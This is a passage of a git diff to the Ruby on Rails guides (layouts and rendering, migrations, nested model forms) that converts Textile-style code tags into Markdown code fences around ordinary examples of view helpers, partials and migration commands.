<%= javascript_include_tag "main", "/photos/columns" %>
-</erb>
+```
To include +http://example.com/main.js+:
-<erb>
+```erb
<%= javascript_include_tag "http://example.com/main.js" %>
-</erb>
+```
If the application does not use the asset pipeline, the +:defaults+ option loads jQuery by default:
-<erb>
+```erb
<%= javascript_include_tag :defaults %>
-</erb>
+```
Outputting +script+ tags such as this:
-<html>
+```html
<script src="/javascripts/jquery.js"></script>
<script src="/javascripts/jquery_ujs.js"></script>
-</html>
+```
These two files for jQuery, +jquery.js+ and +jquery_ujs.js+ must be placed inside +public/javascripts+ if the application doesn't use the asset pipeline. These files can be downloaded from the "jquery-rails repository on GitHub":https://github.com/indirect/jquery-rails/tree/master/vendor/assets/javascripts
@@ -726,50 +726,50 @@ WARNING: If you are using the asset pipeline, this tag will render a +script+ ta
And you can in any case override the +:defaults+ expansion in <tt>config/application.rb</tt>:
-<ruby>
+```ruby
config.action_view.javascript_expansions[:defaults] = %w(foo.js bar.js)
-</ruby>
+```
You can also define new defaults:
-<ruby>
+```ruby
config.action_view.javascript_expansions[:projects] = %w(projects.js tickets.js)
-</ruby>
+```
And use them by referencing them exactly like +:defaults+:
-<erb>
+```erb
<%= javascript_include_tag :projects %>
-</erb>
+```
When using <tt>:defaults</tt>, if an <tt>application.js</tt> file exists in <tt>public/javascripts</tt> it will be included as well at the end.
Also, if the asset pipeline is disabled, the +:all+ expansion loads every JavaScript file in +public/javascripts+:
-<erb>
+```erb
<%= javascript_include_tag :all %>
-</erb>
+```
Note that your defaults of choice will be included first, so they will be available to all subsequently included files.
You can supply the +:recursive+ option to load files in subfolders of +public/javascripts+ as well:
-<erb>
+```erb
<%= javascript_include_tag :all, :recursive => true %>
-</erb>
+```
If you're loading multiple JavaScript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify +:cache => true+ in your +javascript_include_tag+:
-<erb>
+```erb
<%= javascript_include_tag "main", "columns", :cache => true %>
-</erb>
+```
By default, the combined file will be delivered as +javascripts/all.js+. You can specify a location for the cached asset file instead:
-<erb>
+```erb
<%= javascript_include_tag "main", "columns",
:cache => "cache/main/display" %>
-</erb>
+```
You can even use dynamic paths such as +cache/#{current_site}/main/display+.
@@ -781,58 +781,58 @@ If you are using Rails with the "Asset Pipeline" enabled, this helper will gener
You can specify a full path relative to the document root, or a URL. For example, to link to a stylesheet file that is inside a directory called +stylesheets+ inside of one of +app/assets+, +lib/assets+ or +vendor/assets+, you would do this:
-<erb>
+```erb
<%= stylesheet_link_tag "main" %>
-</erb>
+```
To include +app/assets/stylesheets/main.css+ and +app/assets/stylesheets/columns.css+:
-<erb>
+```erb
<%= stylesheet_link_tag "main", "columns" %>
-</erb>
+```
To include +app/assets/stylesheets/main.css+ and +app/assets/stylesheets/photos/columns.css+:
-<erb>
+```erb
<%= stylesheet_link_tag "main", "/photos/columns" %>
-</erb>
+```
To include +http://example.com/main.css+:
-<erb>
+```erb
<%= stylesheet_link_tag "http://example.com/main.css" %>
-</erb>
+```
By default, the +stylesheet_link_tag+ creates links with +media="screen" rel="stylesheet"+. You can override any of these defaults by specifying an appropriate option (+:media+, +:rel+):
-<erb>
+```erb
<%= stylesheet_link_tag "main_print", :media => "print" %>
-</erb>
+```
If the asset pipeline is disabled, the +all+ option links every CSS file in +public/stylesheets+:
-<erb>
+```erb
<%= stylesheet_link_tag :all %>
-</erb>
+```
You can supply the +:recursive+ option to link files in subfolders of +public/stylesheets+ as well:
-<erb>
+```erb
<%= stylesheet_link_tag :all, :recursive => true %>
-</erb>
+```
If you're loading multiple CSS files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify +:cache => true+ in your +stylesheet_link_tag+:
-<erb>
+```erb
<%= stylesheet_link_tag "main", "columns", :cache => true %>
-</erb>
+```
By default, the combined file will be delivered as +stylesheets/all.css+. You can specify a location for the cached asset file instead:
-<erb>
+```erb
<%= stylesheet_link_tag "main", "columns",
:cache => "cache/main/display" %>
-</erb>
+```
You can even use dynamic paths such as +cache/#{current_site}/main/display+.
@@ -842,56 +842,56 @@ The +image_tag+ helper builds an HTML +&lt;img /&gt;+ tag to the specified file.
WARNING: Note that you must specify the extension of the image. Previous versions of Rails would allow you to just use the image name and would append +.png+ if no extension was given but Rails 3.0 does not.
-<erb>
+```erb
<%= image_tag "header.png" %>
-</erb>
+```
You can supply a path to the image if you like:
-<erb>
+```erb
<%= image_tag "icons/delete.gif" %>
-</erb>
+```
You can supply a hash of additional HTML options:
-<erb>
+```erb
<%= image_tag "icons/delete.gif", {:height => 45} %>
-</erb>
+```
You can supply alternate text for the image which will be used if the user has images turned off in their browser. If you do not specify an alt text explicitly, it defaults to the file name of the file, capitalized and with no extension. For example, these two image tags would return the same code:
-<erb>
+```erb
<%= image_tag "home.gif" %>
<%= image_tag "home.gif", :alt => "Home" %>
-</erb>
+```
You can also specify a special size tag, in the format "{width}x{height}":
-<erb>
+```erb
<%= image_tag "home.gif", :size => "50x20" %>
-</erb>
+```
In addition to the above special tags, you can supply a final hash of standard HTML options, such as +:class+, +:id+ or +:name+:
-<erb>
+```erb
<%= image_tag "home.gif", :alt => "Go Home",
:id => "HomeImage",
:class => "nav_bar" %>
-</erb>
+```
h5. Linking to Videos with the +video_tag+
The +video_tag+ helper builds an HTML 5 +&lt;video&gt;+ tag to the specified file. By default, files are loaded from +public/videos+.
-<erb>
+```erb
<%= video_tag "movie.ogg" %>
-</erb>
+```
Produces
-<erb>
+```erb
<video src="/videos/movie.ogg" />
-</erb>
+```
Like an +image_tag+ you can supply a path, either absolute, or relative to the +public/videos+ directory. Additionally you can specify the +:size => "#{width}x#{height}"+ option just like an +image_tag+. Video tags can also have any of the HTML options specified at the end (+id+, +class+ et al).
@@ -905,29 +905,29 @@ The video tag also supports all of the +&lt;video&gt;+ HTML options through the
You can also specify multiple videos to play by passing an array of videos to the +video_tag+:
-<erb>
+```erb
<%= video_tag ["trailer.ogg", "movie.ogg"] %>
-</erb>
+```
This will produce:
-<erb>
+```erb
<video><source src="trailer.ogg" /><source src="movie.ogg" /></video>
-</erb>
+```
h5. Linking to Audio Files with the +audio_tag+
The +audio_tag+ helper builds an HTML 5 +&lt;audio&gt;+ tag to the specified file. By default, files are loaded from +public/audios+.
-<erb>
+```erb
<%= audio_tag "music.mp3" %>
-</erb>
+```
You can supply a path to the audio file if you like:
-<erb>
+```erb
<%= audio_tag "music/first_song.mp3" %>
-</erb>
+```
You can also supply a hash of additional options, such as +:id+, +:class+ etc.
@@ -941,7 +941,7 @@ h4. Understanding +yield+
Within the context of a layout, +yield+ identifies a section where content from the view should be inserted. The simplest way to use this is to have a single +yield+, into which the entire contents of the view currently being rendered is inserted:
-<erb>
+```erb
<html>
<head>
</head>
@@ -949,11 +949,11 @@ Within the context of a layout, +yield+ identifies a section where content from
<%= yield %>
</body>
</html>
-</erb>
+```
You can also create a layout with multiple yielding regions:
-<erb>
+```erb
<html>
<head>
<%= yield :head %>
@@ -962,7 +962,7 @@ You can also create a layout with multiple yielding regions:
<%= yield %>
</body>
</html>
-</erb>
+```
The main body of the view will always render into the unnamed +yield+. To render content into a named +yield+, you use the +content_for+ method.
@@ -970,17 +970,17 @@ h4. Using the +content_for+ Method
The +content_for+ method allows you to insert content into a named +yield+ block in your layout. For example, this view would work with the layout that you just saw:
-<erb>
+```erb
<% content_for :head do %>
<title>A simple page</title>
<% end %>
<p>Hello, Rails!</p>
-</erb>
+```
The result of rendering this page into the supplied layout would be this HTML:
-<erb>
+```erb
<html>
<head>
<title>A simple page</title>
@@ -989,7 +989,7 @@ The result of rendering this page into the supplied layout would be this HTML:
<p>Hello, Rails!</p>
</body>
</html>
-</erb>
+```
The +content_for+ method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific JavaScript or css files into the header of an otherwise generic layout.
@@ -1001,15 +1001,15 @@ h5. Naming Partials
To render a partial as part of a view, you use the +render+ method within the view:
-<ruby>
+```ruby
<%= render "menu" %>
-</ruby>
+```
This will render a file named +_menu.html.erb+ at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:
-<ruby>
+```ruby
<%= render "shared/menu" %>
-</ruby>
+```
That code will pull in the partial from +app/views/shared/_menu.html.erb+.
@@ -1017,7 +1017,7 @@ h5. Using Partials to Simplify Views
One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:
-<erb>
+```erb
<%= render "shared/ad_banner" %>
<h1>Products</h1>
@@ -1026,7 +1026,7 @@ One way to use partials is to treat them as the equivalent of subroutines: as a
...
<%= render "shared/footer" %>
-</erb>
+```
Here, the +_ad_banner.html.erb+ and +_footer.html.erb+ partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.
@@ -1036,9 +1036,9 @@ h5. Partial Layouts
A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:
-<erb>
+```erb
<%= render :partial => "link_area", :layout => "graybar" %>
-</erb>
+```
This would look for a partial named +_link_area.html.erb+ and render it using the layout +_graybar.html.erb+. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master +layouts+ folder).
@@ -1050,23 +1050,23 @@ You can also pass local variables into partials, making them even more powerful
* +new.html.erb+
-<erb>
+```erb
<h1>New zone</h1>
<%= error_messages_for :zone %>
<%= render :partial => "form", :locals => { :zone => @zone } %>
-</erb>
+```
* +edit.html.erb+
-<erb>
+```erb
<h1>Editing zone</h1>
<%= error_messages_for :zone %>
<%= render :partial => "form", :locals => { :zone => @zone } %>
-</erb>
+```
* +_form.html.erb+
-<erb>
+```erb
<%= form_for(zone) do |f| %>
<p>
<b>Zone name</b><br />
@@ -1076,15 +1076,15 @@ You can also pass local variables into partials, making them even more powerful
<%= f.submit %>
</p>
<% end %>
-</erb>
+```
Although the same partial will be rendered into both views, Action View's submit helper will return "Create Zone" for the new action and "Update Zone" for the edit action.
Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the +:object+ option:
-<erb>
+```erb
<%= render :partial => "customer", :object => @new_customer %>
-</erb>
+```
Within the +customer+ partial, the +customer+ variable will refer to +@new_customer+ from the parent view.
@@ -1092,9 +1092,9 @@ WARNING: In previous versions of Rails, the default local variable would look fo
If you have an instance of a model to render into a partial, you can use a shorthand syntax:
-<erb>
+```erb
<%= render @customer %>
-</erb>
+```
Assuming that the +@customer+ instance variable contains an instance of the +Customer+ model, this will use +_customer.html.erb+ to render it and will pass the local variable +customer+ into the partial which will refer to the +@customer+ instance variable in the parent view.
@@ -1104,72 +1104,72 @@ Partials are very useful in rendering collections. When you pass a collection to
* +index.html.erb+
-<erb>
+```erb
<h1>Products</h1>
<%= render :partial => "product", :collection => @products %>
-</erb>
+```
* +_product.html.erb+
-<erb>
+```erb
<p>Product Name: <%= product.name %></p>
-</erb>
+```
When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is +_product+, and within the +_product+ partial, you can refer to +product+ to get the instance that is being rendered.
In Rails 3.0, there is also a shorthand for this. Assuming +@products+ is a collection of +product+ instances, you can simply write this in the +index.html.erb+ to produce the same result:
-<erb>
+```erb
<h1>Products</h1>
<%= render @products %>
-</erb>
+```
Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:
* +index.html.erb+
-<erb>
+```erb
<h1>Contacts</h1>
<%= render [customer1, employee1, customer2, employee2] %>
-</erb>
+```
* +customers/_customer.html.erb+
-<erb>
+```erb
<p>Customer: <%= customer.name %></p>
-</erb>
+```
* +employees/_employee.html.erb+
-<erb>
+```erb
<p>Employee: <%= employee.name %></p>
-</erb>
+```
In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.
In the event that the collection is empty, +render+ will return nil, so it should be fairly simple to provide alternative content.
-<erb>
+```erb
<h1>Products</h1>
<%= render(@products) || "There are no products available." %>
-</erb>
+```
h5. Local Variables
To use a custom local variable name within the partial, specify the +:as+ option in the call to the partial:
-<erb>
+```erb
<%= render :partial => "product", :collection => @products, :as => :item %>
-</erb>
+```
With this change, you can access an instance of the +@products+ collection as the +item+ local variable within the partial.
You can also pass in arbitrary local variables to any partial you are rendering with the +:locals => {}+ option:
-<erb>
+```erb
<%= render :partial => "products", :collection => @products,
:as => :item, :locals => {:title => "Products Page"} %>
-</erb>
+```
Would render a partial +_products.html.erb+ once for each instance of +product+ in the +@products+ instance variable passing the instance to the partial as a local variable called +item+ and to each partial, make the local variable +title+ available with the value +Products Page+.
@@ -1179,9 +1179,9 @@ You can also specify a second partial to be rendered between instances of the ma
h5. Spacer Templates
-<erb>
+```erb
<%= render :partial => @products, :spacer_template => "product_ruler" %>
-</erb>
+```
Rails will render the +_product_ruler+ partial (with no data passed in to it) between each pair of +_product+ partials.
@@ -1189,9 +1189,9 @@ h5(#collection-partial-layouts). Partial Layouts
When rendering collections it is also possible to use the +:layout+ option:
-<erb>
+```erb
<%= render :partial => "product", :collection => @products, :layout => "special_layout" %>
-</erb>
+```
The layout will be rendered together with the partial for each item in the collection. The current object and object_counter variables will be available in the layout as well, the same way they do within the partial.
@@ -1203,7 +1203,7 @@ Suppose you have the following +ApplicationController+ layout:
* +app/views/layouts/application.html.erb+
-<erb>
+```erb
<html>
<head>
<title><%= @page_title or "Page Title" %></title>
@@ -1216,13 +1216,13 @@ Suppose you have the following +ApplicationController+ layout:
<div id="content"><%= content_for?(:content) ? yield(:content) : yield %></div>
</body>
</html>
-</erb>
+```
On pages generated by +NewsController+, you want to hide the top menu and add a right menu:
* +app/views/layouts/news.html.erb+
-<erb>
+```erb
<% content_for :stylesheets do %>
#top_menu {display: none}
#right_menu {float: right; background-color: yellow; color: black}
@@ -1232,7 +1232,7 @@ On pages generated by +NewsController+, you want to hide the top menu and add a
<%= content_for?(:news_content) ? yield(:news_content) : yield %>
<% end %>
<%= render :template => "layouts/application" %>
-</erb>
+```
That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div.
diff --git a/guides/source/migrations.md b/guides/source/migrations.md
index e89bde7a83..7b24269306 100644
--- a/guides/source/migrations.md
+++ b/guides/source/migrations.md
@@ -31,7 +31,7 @@ h3. Anatomy of a Migration
Before we dive into the details of a migration, here are a few examples of the
sorts of things you can do:
-<ruby>
+```ruby
class CreateProducts < ActiveRecord::Migration
def up
create_table :products do |t|
@@ -46,7 +46,7 @@ class CreateProducts < ActiveRecord::Migration
drop_table :products
end
end
-</ruby>
+```
This migration adds a table called +products+ with a string column called +name+
and a text column called +description+. A primary key column called +id+ will
@@ -58,7 +58,7 @@ simple as dropping the table.
Migrations are not limited to changing the schema. You can also use them to fix
bad data in the database or populate new fields:
-<ruby>
+```ruby
class AddReceiveNewsletterToUsers < ActiveRecord::Migration
def up
change_table :users do |t|
@@ -71,7 +71,7 @@ class AddReceiveNewsletterToUsers < ActiveRecord::Migration
remove_column :users, :receive_newsletter
end
end
-</ruby>
+```
NOTE: Some "caveats":#using-models-in-your-migrations apply to using models in
your migrations.
@@ -88,7 +88,7 @@ This method is preferred for writing constructive migrations (adding columns or
tables). The migration knows how to migrate your database and reverse it when
the migration is rolled back without the need to write a separate +down+ method.
-<ruby>
+```ruby
class CreateProducts < ActiveRecord::Migration
def change
create_table :products do |t|
@@ -99,7 +99,7 @@ class CreateProducts < ActiveRecord::Migration
end
end
end
-</ruby>
+```
h4. Migrations are Classes
@@ -158,9 +158,9 @@ Rails 2.1+ this is largely avoided by using the creation time of the migration
to identify them. You can revert to the old numbering scheme by adding the
following line to +config/application.rb+.
-<ruby>
+```ruby
config.active_record.timestamped_migrations = false
-</ruby>
+```
The combination of timestamps and recording which migrations have been run
allows Rails to handle common situations that occur with multiple developers.
@@ -211,11 +211,11 @@ These will be mapped onto an appropriate underlying database type. For example,
with MySQL the type +:string+ is mapped to +VARCHAR(255)+. You can create
columns of types not supported by Active Record when using the non-sexy syntax such as
-<ruby>
+```ruby
create_table :products do |t|
t.column :name, 'polygon', :null => false
end
-</ruby>
+```
This may however hinder portability to other databases.
@@ -228,13 +228,13 @@ a new model. This migration will already contain instructions for creating the
relevant table. If you tell Rails what columns you want, then statements for
adding these columns will also be created. For example, running
-<shell>
+```shell
$ rails generate model Product name:string description:text
-</shell>
+```
will create a migration that looks like this
-<ruby>
+```ruby
class CreateProducts < ActiveRecord::Migration
def change
create_table :products do |t|
@@ -245,7 +245,7 @@ class CreateProducts < ActiveRecord::Migration
end
end
end
-</ruby>
+```
You can append as many column name/type pairs as you want. By default, the
generated migration will include +t.timestamps+ (which creates the
@@ -257,46 +257,46 @@ h4. Creating a Standalone Migration
If you are creating migrations for other purposes (e.g., to add a column
to an existing table) then you can also use the migration generator:
-<shell>
+```shell
$ rails generate migration AddPartNumberToProducts
-</shell>
+```
This will create an empty but appropriately named migration:
-<ruby>
+```ruby
class AddPartNumberToProducts < ActiveRecord::Migration
def change
end
end
-</ruby>
+```
If the migration name is of the form "AddXXXToYYY" or "RemoveXXXFromYYY" and is
followed by a list of column names and types then a migration containing the
appropriate +add_column+ and +remove_column+ statements will be created.
-<shell>
+```shell
$ rails generate migration AddPartNumberToProducts part_number:string
-</shell>
+```
will generate
-<ruby>
+```ruby
class AddPartNumberToProducts < ActiveRecord::Migration
def change
add_column :products, :part_number, :string
end
end
-</ruby>
+```
Similarly,
-<shell>
+```shell
$ rails generate migration RemovePartNumberFromProducts part_number:string
-</shell>
+```
generates
-<ruby>
+```ruby
class RemovePartNumberFromProducts < ActiveRecord::Migration
def up
remove_column :products, :part_number
@@ -306,24 +306,24 @@ class RemovePartNumberFromProducts < ActiveRecord::Migration
add_column :products, :part_number, :string
end
end
-</ruby>
+```
You are not limited to one magically generated column. For example
-<shell>
+```shell
$ rails generate migration AddDetailsToProducts part_number:string price:decimal
-</shell>
+```
generates
-<ruby>
+```ruby
class AddDetailsToProducts < ActiveRecord::Migration
def change
add_column :products, :part_number, :string
add_column :products, :price, :decimal
end
end
-</ruby>
+```
As always, what has been generated for you is just a starting point. You can add
or remove from it as you see fit by editing the
@@ -335,19 +335,19 @@ the original data types defined when you made the original changes.
Also, the generator accepts column type as +references+(also available as +belongs_to+). For instance
-<shell>
+```shell
$ rails generate migration AddUserRefToProducts user:references
-</shell>
+```
generates
-<ruby>
+```ruby
class AddUserRefToProducts < ActiveRecord::Migration
def change
add_reference :products, :user, :index => true
end
end
-</ruby>
+```
This migration will create a user_id column and appropriate index.
@@ -363,20 +363,20 @@ following modifiers:
For instance, running
-<shell>
+```shell
$ rails generate migration AddDetailsToProducts price:decimal{5,2} supplier:references{polymorphic}
-</shell>
+```
will produce a migration that looks like this
-<ruby>
+```ruby
class AddDetailsToProducts < ActiveRecord::Migration
def change
add_column :products, :price, :precision => 5, :scale => 2
add_reference :products, :user, :polymorphic => true, :index => true
end
end
-</ruby>
+```
h3. Writing a Migration
@@ -388,11 +388,11 @@ h4. Creating a Table
Migration method +create_table+ will be one of your workhorses. A typical use
would be
-<ruby>
+```ruby
create_table :products do |t|
t.string :name
end
-</ruby>
+```
which creates a +products+ table with a column called +name+ (and as discussed
below, an implicit +id+ column).
@@ -400,21 +400,21 @@ below, an implicit +id+ column).
The object yielded to the block allows you to create columns on the table. There
are two ways of doing it. The first (traditional) form looks like
-<ruby>
+```ruby
create_table :products do |t|
t.column :name, :string, :null => false
end
-</ruby>
+```
The second form, the so called "sexy" migration, drops the somewhat redundant
+column+ method. Instead, the +string+, +integer+, etc. methods create a column
of that type. Subsequent parameters are the same.
-<ruby>
+```ruby
create_table :products do |t|
t.string :name, :null => false
end
-</ruby>
+```
By default, +create_table+ will create a primary key called +id+. You can change
the name of the primary key with the +:primary_key+ option (don't forget to
@@ -423,11 +423,11 @@ example for a HABTM join table), you can pass the option +:id => false+. If you
need to pass database specific options you can place an SQL fragment in the
+:options+ option. For example,
-<ruby>
+```ruby
create_table :products, :options => "ENGINE=BLACKHOLE" do |t|
t.string :name, :null => false
end
-</ruby>
+```
will append +ENGINE=BLACKHOLE+ to the SQL statement used to create the table
(when using MySQL, the default is +ENGINE=InnoDB+).
@@ -437,27 +437,27 @@ h4. Creating a Join Table
Migration method +create_join_table+ creates a HABTM join table. A typical use
would be
-<ruby>
+```ruby
create_join_table :products, :categories
-</ruby>
+```
which creates a +categories_products+ table with two columns called +category_id+ and +product_id+.
These columns have the option +:null+ set to +false+ by default.
You can pass the option +:table_name+ with you want to customize the table name. For example,
-<ruby>
+```ruby
create_join_table :products, :categories, :table_name => :categorization
-</ruby>
+```
will create a +categorization+ table.
By default, +create_join_table+ will create two columns with no options, but you can specify these
options using the +:column_options+ option. For example,
-<ruby>
+```ruby
create_join_table :products, :categories, :column_options => {:null => true}
-</ruby>
+```
will create the +product_id+ and +category_id+ with the +:null+ option as +true+.
@@ -467,14 +467,14 @@ A close cousin of +create_table+ is +change_table+, used for changing existing
tables. It is used in a similar fashion to +create_table+ but the object yielded
to the block knows more tricks. For example
-<ruby>
+```ruby
change_table :products do |t|
t.remove :description, :name
t.string :part_number
t.index :part_number
t.rename :upccode, :upc_code
end
-</ruby>
+```
removes the +description+ and +name+ columns, creates a +part_number+ string
column and adds an index on it. Finally it renames the +upccode+ column.
@@ -485,51 +485,51 @@ Active Record provides some shortcuts for common functionality. It is for
example very common to add both the +created_at+ and +updated_at+ columns and so
there is a method that does exactly that:
-<ruby>
+```ruby
create_table :products do |t|
t.timestamps
end
-</ruby>
+```
will create a new products table with those two columns (plus the +id+ column)
whereas
-<ruby>
+```ruby
change_table :products do |t|
t.timestamps
end
-</ruby>
+```
adds those columns to an existing table.
Another helper is called +references+ (also available as +belongs_to+). In its
simplest form it just adds some readability.
-<ruby>
+```ruby
create_table :products do |t|
t.references :category
end
-</ruby>
+```
will create a +category_id+ column of the appropriate type. Note that you pass
the model name, not the column name. Active Record adds the +_id+ for you. If
you have polymorphic +belongs_to+ associations then +references+ will add both
of the columns required:
-<ruby>
+```ruby
create_table :products do |t|
t.references :attachment, :polymorphic => {:default => 'Photo'}
end
-</ruby>
+```
will add an +attachment_id+ column and a string +attachment_type+ column with
a default value of 'Photo'. +references+ also allows you to define an
index directly, instead of using +add_index+ after the +create_table+ call:
-<ruby>
+```ruby
create_table :products do |t|
t.references :category, :index => true
end
-</ruby>
+```
will create an index identical to calling `add_index :products, :category_id`.
@@ -577,7 +577,7 @@ method, you should drop it in the +down+ method. It is wise to reverse the
transformations in precisely the reverse order they were made in the +up+
method. For example,
-<ruby>
+```ruby
class ExampleMigration < ActiveRecord::Migration
def up
create_table :products do |t|
@@ -604,7 +604,7 @@ class ExampleMigration < ActiveRecord::Migration
drop_table :products
end
end
-</ruby>
+```
Sometimes your migration will do something which is just plain irreversible; for
example, it might destroy some data. In such cases, you can raise
@@ -631,9 +631,9 @@ If you specify a target version, Active Record will run the required migrations
is the numerical prefix on the migration's filename. For example, to migrate
to version 20080906120000 run
-<shell>
+```shell
$ rake db:migrate VERSION=20080906120000
-</shell>
+```
If version 20080906120000 is greater than the current version (i.e., it is
migrating upwards), this will run the +up+ method on all migrations up to and
@@ -647,16 +647,16 @@ A common task is to rollback the last migration. For example, if you made a
mistake in it and wish to correct it. Rather than tracking down the version
number associated with the previous migration you can run
-<shell>
+```shell
$ rake db:rollback
-</shell>
+```
This will run the +down+ method from the latest migration. If you need to undo
several migrations you can provide a +STEP+ parameter:
-<shell>
+```shell
$ rake db:rollback STEP=3
-</shell>
+```
will run the +down+ method from the last 3 migrations.
@@ -664,9 +664,9 @@ The +db:migrate:redo+ task is a shortcut for doing a rollback and then migrating
back up again. As with the +db:rollback+ task, you can use the +STEP+ parameter
if you need to go more than one version back, for example
-<shell>
+```shell
$ rake db:migrate:redo STEP=3
-</shell>
+```
Neither of these Rake tasks do anything you could not do with +db:migrate+. They
are simply more convenient, since you do not need to explicitly specify the
@@ -687,9 +687,9 @@ If you need to run a specific migration up or down, the +db:migrate:up+ and
the corresponding migration will have its +up+ or +down+ method invoked, for
example,
-<shell>
+```shell
$ rake db:migrate:up VERSION=20080906120000
-</shell>
+```
will run the +up+ method from the 20080906120000 migration. This task will first
check whether the migration is already performed and will do nothing if Active Record believes
@@ -700,12 +700,12 @@ h4. Changing the Output of Running Migrations
By default migrations tell you exactly what they're doing and how long it took.
A migration creating a table and adding an index might produce output like this
-<shell>
+```shell
== CreateProducts: migrating =================================================
-- create_table(:products)
-> 0.0028s
== CreateProducts: migrated (0.0028s) ========================================
-</shell>
+```
Several methods are provided in migrations that allow you to control all this:
@@ -721,7 +721,7 @@ Several methods are provided in migrations that allow you to control all this:
For example, this migration
-<ruby>
+```ruby
class CreateProducts < ActiveRecord::Migration
def change
suppress_messages do
@@ -740,11 +740,11 @@ class CreateProducts < ActiveRecord::Migration
end
end
end
-</ruby>
+```
generates the following output
-<shell>
+```shell
== CreateProducts: migrating =================================================
-- Created a table
-> and an index!
@@ -752,7 +752,7 @@ generates the following output
-> 10.0013s
-> 250 rows
== CreateProducts: migrated (10.0054s) =======================================
-</shell>
+```
If you want Active Record to not output anything, then running +rake db:migrate
VERBOSE=false+ will suppress all output.
@@ -776,7 +776,7 @@ Alice creates a migration for the +products+ table which adds a new column and
initializes it. She also adds a validation to the +Product+ model for the new
column.
-<ruby>
+```ruby
# db/migrate/20100513121110_add_flag_to_product.rb
class AddFlagToProduct < ActiveRecord::Migration
@@ -785,21 +785,21 @@ class AddFlagToProduct < ActiveRecord::Migration
Product.update_all :flag => false
end
end
-</ruby>
+```
-<ruby>
+```ruby
# app/model/product.rb
class Product < ActiveRecord::Base
validates :flag, :presence => true
end
-</ruby>
+```
Alice adds a second migration which adds and initializes another column to the
+products+ table and also adds a validation to the +Product+ model for the new
column.
-<ruby>
+```ruby
# db/migrate/20100515121110_add_fuzz_to_product.rb
class AddFuzzToProduct < ActiveRecord::Migration
@@ -808,15 +808,15 @@ class AddFuzzToProduct < ActiveRecord::Migration
Product.update_all :fuzz => 'fuzzy'
end
end
-</ruby>
+```
-<ruby>
+```ruby
# app/model/product.rb
class Product < ActiveRecord::Base
validates :flag, :fuzz, :presence => true
end
-</ruby>
+```
Both migrations work for Alice.
@@ -831,12 +831,12 @@ The migration crashes because when the model attempts to save, it tries to
validate the second added column, which is not in the database when the _first_
migration runs:
-<plain>
+```
rake aborted!
An error has occurred, this and all later migrations canceled:
undefined method `fuzz' for #<Product:0x000001049b14a0>
-</plain>
+```
A fix for this is to create a local model within the migration. This keeps Rails
from running the validations, so that the migrations run to completion.
@@ -847,7 +847,7 @@ When using a faux model, it's a good idea to call
If Alice had done this instead, there would have been no problem:
-<ruby>
+```ruby
# db/migrate/20100513121110_add_flag_to_product.rb
class AddFlagToProduct < ActiveRecord::Migration
@@ -860,9 +860,9 @@ class AddFlagToProduct < ActiveRecord::Migration
Product.update_all :flag => false
end
end
-</ruby>
+```
-<ruby>
+```ruby
# db/migrate/20100515121110_add_fuzz_to_product.rb
class AddFuzzToProduct < ActiveRecord::Migration
@@ -875,7 +875,7 @@ class AddFuzzToProduct < ActiveRecord::Migration
Product.update_all :fuzz => 'fuzzy'
end
end
-</ruby>
+```
h3. Schema Dumping and You
@@ -911,7 +911,7 @@ the +config.active_record.schema_format+ setting, which may be either +:sql+ or
If +:ruby+ is selected then the schema is stored in +db/schema.rb+. If you look
at this file you'll find that it looks an awful lot like one very big migration:
-<ruby>
+```ruby
ActiveRecord::Schema.define(version: 20080906171750) do
create_table "authors", force: true do |t|
t.string "name"
@@ -927,7 +927,7 @@ ActiveRecord::Schema.define(version: 20080906171750) do
t.string "part_number"
end
end
-</ruby>
+```
In many ways this is exactly what it is. This file is created by inspecting the
database and expressing its structure using +create_table+, +add_index+, and so
diff --git a/guides/source/nested_model_forms.md b/guides/source/nested_model_forms.md
index 82c9ab9d36..3028be2862 100644
--- a/guides/source/nested_model_forms.md
+++ b/guides/source/nested_model_forms.md
@@ -27,30 +27,30 @@ For an ActiveRecord::Base model and association this writer method is commonly d
h5. has_one
-<ruby>
+```ruby
class Person < ActiveRecord::Base
has_one :address
accepts_nested_attributes_for :address
end
-</ruby>
+```
h5. belongs_to
-<ruby>
+```ruby
class Person < ActiveRecord::Base
belongs_to :firm
accepts_nested_attributes_for :firm
end
-</ruby>
+```
h5. has_many / has_and_belongs_to_many
-<ruby>
+```ruby
class Person < ActiveRecord::Base
has_many :projects
accepts_nested_attributes_for :projects
end
-</ruby>
+```
h4. Custom model
@@ -58,7 +58,7 @@ As you might have inflected from this explanation, you _don’t_ necessarily nee
h5. Single associated object
-<ruby>
+```ruby
class Person
def address
Address.new
@@ -68,11 +68,11 @@ class Person
# ...
end
end
-</ruby>
+```
h5. Association collection
-<ruby>
+```ruby
class Person
def projects
[Project.new, Project.new]
@@ -82,7 +82,7 @@ class Person
# ...
end
end
-</ruby>
+```
NOTE: See (TODO) in the advanced section for more information on how to deal with the CRUD operations in your custom model.
@@ -94,7 +94,7 @@ A nested model form will _only_ be built if the associated object(s) exist. This
Consider the following typical RESTful controller which will prepare a new Person instance and its +address+ and +projects+ associations before rendering the +new+ template:
-<ruby>
+```ruby
class PeopleController < ActionController:Base
def new
@person = Person.new
@@ -109,7 +109,7 @@ class PeopleController < ActionController:Base
end
end
end
-</ruby>
+```
NOTE: Obviously the instantiation of the associated object(s) can become tedious and not DRY, so you might want to move that into the model itself. ActiveRecord::Base provides an +after_initialize+ callback which is a good way to refactor this.
@@ -121,25 +121,25 @@ h5. Standard form
Start out with a regular RESTful form:
-<erb>
+```erb
<%= form_for @person do |f| %>
<%= f.text_field :name %>
<% end %>
-</erb>
+```
This will generate the following html:
-<html>
+```html
